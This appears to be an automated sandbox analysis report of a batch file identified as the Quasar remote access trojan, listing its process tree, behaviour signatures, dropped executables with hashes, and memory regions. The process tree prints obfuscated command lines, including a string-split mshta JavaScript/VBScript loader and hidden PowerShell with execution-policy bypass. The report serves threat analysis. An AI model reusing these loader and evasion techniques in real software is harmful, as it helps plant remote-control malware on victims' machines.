Resubmissions

06/04/2024, 15:13

240406-sl48xada3w10

06/04/2024, 15:08

240406-shy8gsch6t10

Analysis

  • max time kernel
    29s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240214-en
  • resource tags

    arch:x64arch:x86image:win11-20240214-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    06/04/2024, 15:13

General

  • Target
    CodeGuesser.bat
  • Size 15.5MB
  • Sample240406-sl48xada3w
  • SHA256 bd2f7d2e593eeb70290d8913ad05d2c9ce910333b0c4c40539b67cb09f558f80
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Extracted

Family
  • quasar

Attributes
  • reconnect_delay

    1000

Signatures

  • Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar payload 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 3 IoCs
  • Drops file in Windows directory 6 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of WriteProcessMemory 60 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\lsass.exe
    C:\Windows\system32\lsass.exe
    1⤵
      PID:704
    • C:\Windows\system32\svchost.exe
      C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
      1⤵
        PID:1000
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
        1⤵
          PID:776
        • C:\Windows\System32\svchost.exe
          C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
          1⤵
            PID:996
          • C:\Windows\System32\svchost.exe
            C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
            1⤵
              PID:1120
            • C:\Windows\system32\svchost.exe
              C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
              1⤵
                PID:1128
              • C:\Windows\system32\svchost.exe
                C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
                1⤵
                  PID:1148
                  • C:\Windows\$sxr-mshta.exe
                    C:\Windows\$sxr-mshta.exe "javascript:document['wr'+'it'+'e']('<h'+'tm'+'l>'+'<s'+'cr'+'ip'+'t\x20'+'la'+'ng'+'ua'+'ge'+'=\x22'+'VB'+'Sc'+'ri'+'pt'+'\x22>'+'Se'+'t\x20'+'ob'+'jS'+'he'+'ll'+'\x20='+'\x20C'+'re'+'at'+'eO'+'bj'+'ec'+'t('+'\x22W'+'Sc'+'ri'+'pt'+'.S'+'he'+'ll'+'\x22)'+'\x20:'+'\x20o'+'bj'+'Sh'+'el'+'l.'+'Ru'+'n\x20'+'\x22C:\\Windows\\$sxr-c'+'md'+'.e'+'xe'+'\x20/'+'c %'+'$sxr-bkLkOMLFgPrarqIrLnAN4312:JwPfYnkk=%'+'\x22,'+'\x200'+',\x20'+'Tr'+'ue'+'</'+'sc'+'ri'+'pt'+'><'+'/h'+'tm'+'l>');close();"
                    2⤵
                    • Executes dropped EXE
                    • Modifies registry class
                    • Suspicious use of WriteProcessMemory
                    PID:2400
                    • C:\Windows\$sxr-cmd.exe
                      "C:\Windows\$sxr-cmd.exe" /c %$sxr-bkLkOMLFgPrarqIrLnAN4312:JwPfYnkk=%
                      3⤵
                      • Executes dropped EXE
                      • Suspicious use of WriteProcessMemory
                      PID:4824
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /S /D /c" echo Invoke-Expression $env:OdjrIqDhlz; "
                        4⤵
                          PID:1028
                        • C:\Windows\$sxr-powershell.exe
                          C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass
                          4⤵
                          • Executes dropped EXE
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          • Suspicious use of WriteProcessMemory
                          PID:3296
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
                    1⤵
                      PID:1204
                    • C:\Windows\System32\svchost.exe
                      C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
                      1⤵
                        PID:1288
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                        1⤵
                          PID:1328
                        • C:\Windows\system32\svchost.exe
                          C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
                          1⤵
                            PID:1364
                          • C:\Windows\system32\svchost.exe
                            C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
                            1⤵
                              PID:1452
                            • C:\Windows\System32\svchost.exe
                              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
                              1⤵
                                PID:1564
                              • C:\Windows\System32\svchost.exe
                                C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
                                1⤵
                                  PID:1640
                                • C:\Windows\system32\svchost.exe
                                  C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
                                  1⤵
                                    PID:1648
                                  • C:\Windows\system32\svchost.exe
                                    C:\Windows\system32\svchost.exe -k NetworkService -p
                                    1⤵
                                      PID:1696
                                    • C:\Windows\system32\svchost.exe
                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
                                      1⤵
                                        PID:1752
                                      • C:\Windows\system32\svchost.exe
                                        C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
                                        1⤵
                                          PID:1820
                                        • C:\Windows\System32\svchost.exe
                                          C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
                                          1⤵
                                            PID:1904
                                          • C:\Windows\System32\svchost.exe
                                            C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                            1⤵
                                              PID:2000
                                            • C:\Windows\System32\svchost.exe
                                              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                              1⤵
                                                PID:2044
                                              • C:\Windows\system32\svchost.exe
                                                C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                1⤵
                                                  PID:1064
                                                • C:\Windows\System32\svchost.exe
                                                  C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
                                                  1⤵
                                                    PID:1200
                                                  • C:\Windows\system32\svchost.exe
                                                    C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
                                                    1⤵
                                                      PID:2084
                                                    • C:\Windows\System32\spoolsv.exe
                                                      C:\Windows\System32\spoolsv.exe
                                                      1⤵
                                                        PID:2160
                                                      • C:\Windows\system32\cmd.exe
                                                        C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\CodeGuesser.bat"
                                                        1⤵
                                                        • Suspicious use of WriteProcessMemory
                                                        PID:4896
                                                        • C:\Windows\system32\cmd.exe
                                                          C:\Windows\system32\cmd.exe /S /D /c" echo Invoke-Expression $env:EYqiZZZond; "
                                                          2⤵
                                                            PID:2024
                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ep bypass -noprofile -windowstyle hidden
                                                            2⤵
                                                            • Deletes itself
                                                            • Drops file in Windows directory
                                                            • Suspicious behavior: EnumeratesProcesses
                                                            • Suspicious use of AdjustPrivilegeToken
                                                            PID:4972

                                                        Network

                                                              MITRE ATT&CK Enterprise v15

                                                              Replay Monitor

                                                              Loading Replay Monitor...

                                                              Downloads

                                                              ModuleAnalysisCache

                                                              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
                                                              • Size 62KB
                                                              • SHA256 b7f66a3543488b08d8533f290eb5f2df7289531934e6db9c346714cfbf609cf0
                                                              • MD5 SHA1 SHA512 SSDEEP

                                                              __PSScriptPolicyTest_secjar0s.vcc.ps1

                                                              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_secjar0s.vcc.ps1
                                                              • Size 60B
                                                              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                                              • MD5 SHA1 SHA512

                                                              $sxr-cmd.exe

                                                              • Path C:\Windows\$sxr-cmd.exe
                                                              • Size 324KB
                                                              • SHA256 f6c9532e1f4b66be96f0f56bd7c3a3c1997ea8066b91bfcc984e41f072c347ba
                                                              • MD5 SHA1 SHA512 SSDEEP

                                                              $sxr-mshta.exe

                                                              • Path C:\Windows\$sxr-mshta.exe
                                                              • Size 32KB
                                                              • SHA256 4ed8a115fa1dcfd532397b800775c1b54d2d407b52118b5423e94ff1ce855d7e
                                                              • MD5 SHA1 SHA512 SSDEEP

                                                              $sxr-powershell.exe

                                                              • Path C:\Windows\$sxr-powershell.exe
                                                              • Size 440KB
                                                              • SHA256 c7d4e119149a7150b7101a4bd9fffbf659fba76d058f7bf6cc73c99fb36e8221
                                                              • MD5 SHA1 SHA512 SSDEEP

                                                              memory/704-121-0x00007FFB460E4000-0x00007FFB460E5000-memory.dmp

                                                              memory/704-106-0x0000018310A90000-0x0000018310AB9000-memory.dmp

                                                              memory/704-108-0x0000018310A90000-0x0000018310AB9000-memory.dmp

                                                              memory/704-105-0x0000018310A60000-0x0000018310A83000-memory.dmp

                                                              memory/704-116-0x00007FFB060D0000-0x00007FFB060E0000-memory.dmp

                                                              memory/704-117-0x0000018310A90000-0x0000018310AB9000-memory.dmp

                                                              memory/704-118-0x0000018310A90000-0x0000018310AB9000-memory.dmp

                                                              memory/776-149-0x00000272B7260000-0x00000272B7289000-memory.dmp

                                                              memory/776-139-0x00000272B7260000-0x00000272B7289000-memory.dmp

                                                              memory/776-148-0x00007FFB060D0000-0x00007FFB060E0000-memory.dmp

                                                              memory/776-150-0x00000272B7260000-0x00000272B7289000-memory.dmp

                                                              memory/996-155-0x000002958EFB0000-0x000002958EFD9000-memory.dmp

                                                              memory/1000-124-0x0000013BEA690000-0x0000013BEA6B9000-memory.dmp

                                                              memory/1000-134-0x0000013BEA690000-0x0000013BEA6B9000-memory.dmp

                                                              memory/1000-133-0x0000013BEA690000-0x0000013BEA6B9000-memory.dmp

                                                              memory/1000-132-0x00007FFB060D0000-0x00007FFB060E0000-memory.dmp

                                                              memory/3296-98-0x00000215627F0000-0x0000021562832000-memory.dmp

                                                              memory/3296-83-0x00007FFB46040000-0x00007FFB46249000-memory.dmp

                                                              memory/3296-102-0x0000000180000000-0x0000000180007000-memory.dmp

                                                              memory/3296-79-0x0000021560510000-0x0000021560BF8000-memory.dmp

                                                              memory/3296-97-0x00000215625F0000-0x000002156265A000-memory.dmp

                                                              memory/3296-93-0x0000021562140000-0x00000215621F2000-memory.dmp

                                                              memory/3296-92-0x0000021561DB0000-0x000002156213C000-memory.dmp

                                                              memory/3296-91-0x0000021561600000-0x0000021561DAE000-memory.dmp

                                                              memory/3296-90-0x00000215610B0000-0x00000215615FE000-memory.dmp

                                                              memory/3296-89-0x000002153FC30000-0x000002153FC36000-memory.dmp

                                                              memory/3296-88-0x000002153FC20000-0x000002153FC26000-memory.dmp

                                                              memory/3296-87-0x0000021527540000-0x0000021527562000-memory.dmp

                                                              memory/3296-86-0x00007FFB46040000-0x00007FFB46249000-memory.dmp

                                                              memory/3296-85-0x000002153F820000-0x000002153F830000-memory.dmp

                                                              memory/3296-84-0x00007FFB251F0000-0x00007FFB25CB2000-memory.dmp

                                                              memory/3296-107-0x000002153F820000-0x000002153F830000-memory.dmp

                                                              memory/3296-120-0x000002153F820000-0x000002153F830000-memory.dmp

                                                              memory/3296-136-0x00007FFB46040000-0x00007FFB46249000-memory.dmp

                                                              memory/3296-140-0x00007FFB46040000-0x00007FFB46249000-memory.dmp

                                                              memory/3296-82-0x00007FFB46040000-0x00007FFB46249000-memory.dmp

                                                              memory/3296-61-0x00007FFB251F0000-0x00007FFB25CB2000-memory.dmp

                                                              memory/3296-62-0x000002153F820000-0x000002153F830000-memory.dmp

                                                              memory/3296-81-0x00007FFB453E0000-0x00007FFB4549D000-memory.dmp

                                                              memory/3296-151-0x00007FFB46040000-0x00007FFB46249000-memory.dmp

                                                              memory/3296-72-0x000002153F820000-0x000002153F830000-memory.dmp

                                                              memory/3296-75-0x000002155FE60000-0x0000021560506000-memory.dmp

                                                              memory/3296-80-0x00007FFB46040000-0x00007FFB46249000-memory.dmp

                                                              memory/3296-77-0x00007FFB46040000-0x00007FFB46249000-memory.dmp

                                                              memory/3296-78-0x00007FFB46040000-0x00007FFB46249000-memory.dmp

                                                              memory/4972-29-0x000001E701B80000-0x000001E701BD8000-memory.dmp

                                                              memory/4972-76-0x00007FFB46040000-0x00007FFB46249000-memory.dmp

                                                              memory/4972-71-0x00007FFB46040000-0x00007FFB46249000-memory.dmp

                                                              memory/4972-60-0x00007FFB46040000-0x00007FFB46249000-memory.dmp

                                                              memory/4972-52-0x00007FFB24968000-0x00007FFB24969000-memory.dmp

                                                              memory/4972-45-0x00007FFB46040000-0x00007FFB46249000-memory.dmp

                                                              memory/4972-42-0x0000000180000000-0x0000000180007000-memory.dmp

                                                              memory/4972-41-0x000001E7029D0000-0x000001E7029D8000-memory.dmp

                                                              memory/4972-39-0x00007FF7D20F0000-0x00007FF7D215E000-memory.dmp

                                                              memory/4972-38-0x000001E7029A0000-0x000001E7029CE000-memory.dmp

                                                              memory/4972-37-0x000001E702940000-0x000001E702998000-memory.dmp

                                                              memory/4972-36-0x000001E702900000-0x000001E702936000-memory.dmp

                                                              memory/4972-35-0x000001E702850000-0x000001E702902000-memory.dmp

                                                              memory/4972-34-0x000001E701C20000-0x000001E70284C000-memory.dmp

                                                              memory/4972-33-0x000001E701BE0000-0x000001E701C1E000-memory.dmp

                                                              memory/4972-95-0x00007FFB251F0000-0x00007FFB25CB2000-memory.dmp

                                                              memory/4972-96-0x00007FFB46040000-0x00007FFB46249000-memory.dmp

                                                              memory/4972-32-0x000001E701B00000-0x000001E701B06000-memory.dmp

                                                              memory/4972-31-0x000001E73CF60000-0x000001E73CF68000-memory.dmp

                                                              memory/4972-30-0x000001E701AF0000-0x000001E701AF6000-memory.dmp

                                                              memory/4972-28-0x000001E701B20000-0x000001E701B7E000-memory.dmp

                                                              memory/4972-27-0x000001E701B10000-0x000001E701B16000-memory.dmp

                                                              memory/4972-26-0x000001E701AD0000-0x000001E701AF2000-memory.dmp

                                                              memory/4972-25-0x000001E7019D0000-0x000001E701ACC000-memory.dmp

                                                              memory/4972-24-0x00007FFB46040000-0x00007FFB46249000-memory.dmp

                                                              memory/4972-23-0x000001E755280000-0x000001E755290000-memory.dmp

                                                              memory/4972-21-0x00007FFB251F0000-0x00007FFB25CB2000-memory.dmp

                                                              memory/4972-22-0x000001E755280000-0x000001E755290000-memory.dmp

                                                              memory/4972-20-0x00007FFB46040000-0x00007FFB46249000-memory.dmp

                                                              memory/4972-19-0x00007FFB46040000-0x00007FFB46249000-memory.dmp

                                                              memory/4972-18-0x00007FFB453E0000-0x00007FFB4549D000-memory.dmp

                                                              memory/4972-17-0x00007FFB46040000-0x00007FFB46249000-memory.dmp

                                                              memory/4972-16-0x000001E700AD0000-0x000001E7015BC000-memory.dmp

                                                              memory/4972-15-0x00007FFB46040000-0x00007FFB46249000-memory.dmp

                                                              memory/4972-14-0x00007FFB46040000-0x00007FFB46249000-memory.dmp

                                                              memory/4972-13-0x000001E700000000-0x000001E700AAC000-memory.dmp

                                                              memory/4972-12-0x000001E755740000-0x000001E755786000-memory.dmp

                                                              memory/4972-11-0x000001E755280000-0x000001E755290000-memory.dmp

                                                              memory/4972-10-0x000001E755280000-0x000001E755290000-memory.dmp

                                                              memory/4972-9-0x00007FFB251F0000-0x00007FFB25CB2000-memory.dmp

                                                              memory/4972-8-0x000001E755250000-0x000001E755272000-memory.dmp